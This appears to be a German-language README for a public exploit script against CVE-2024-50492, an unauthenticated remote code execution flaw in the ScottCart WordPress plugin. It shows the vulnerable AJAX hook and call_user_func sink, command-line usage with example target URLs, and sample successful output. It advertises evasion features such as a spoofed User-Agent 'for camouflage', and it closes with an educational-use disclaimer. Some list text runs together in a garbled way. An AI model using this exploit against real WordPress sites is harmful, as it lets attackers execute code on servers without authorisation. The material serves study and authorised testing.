nxploited/cve-2024-50492ScottCart <= 1.1 - Nicht authentifizierte Remote-Codeausführung
🔥 Exploit-Skript für ScottCart <= 1.1 - Nicht authentifizierte Remote-Codeausführung
🧑💻 Von Nxploit – Khaled Alenazi
Das ScottCart-Plugin für WordPress (Versionen ≤ 1.1) ist anfällig für Remote Code Execution (RCE).
Dadurch können nicht authentifizierte Angreifer über einen verwundbaren AJAX-Endpunkt beliebige PHP-Funktionen auf dem Server ausführen.
Das Plugin registriert eine ungeschützte AJAX-Aktion:
add_action('wp_ajax_nopriv_scottcart_load_function', 'scottcart_load_function_callback');
Welche Folgendes ausführt:
call_user_func($_POST['function']);
Dadurch können Angreifer beliebige vorhandene PHP-Funktionen aufrufen, wie zum Beispiel:
phpinfo()scottcart_get_the_user_ip()system() ← falls in modifizierten Umgebungen erweitertphpinfo() für den PoCresults_2025-03-26_14-33-01.txt)User-Agent, Fehlerbehandlung und SSL-Ignorierung für Tarnungusage: CVE-2024-50492.py [-h] -u URL [-p PAYLOAD]
ScottCart <= 1.1 - Unauthenticated Remote Code Execution
By Nxploit Khaled Alenazi.
options:
-h, --help Show this help message and exit
-u URL, --url URL Target base URL (e.g., http://192.168.100.74:888/wordpress)
-p PAYLOAD, --payload PAYLOAD
Function to call (default: phpinfo)
phpinfo()):python3 CVE-2024-50492.py -u http://192.168.100.74:888/wordpress
python3 CVE-2024-50492.py -u http://192.168.100.74:888/wordpress -p scottcart_get_the_user_ip
[+] Target URL: http://192.168.100.74:888/wordpress
[+] Payload Function: phpinfo
[*] Launching exploit...
[+] Sending payload: function=phpinfo
[+] Exploit successful! Output:
PHP Version => 8.1.12
...
📁 Und gespeichert in: results_2025-03-26_14-33-01.txt
Dieses Tool dient ausschließlich Bildungs- und autorisierten Testzwecken.
Verwende es nicht gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast.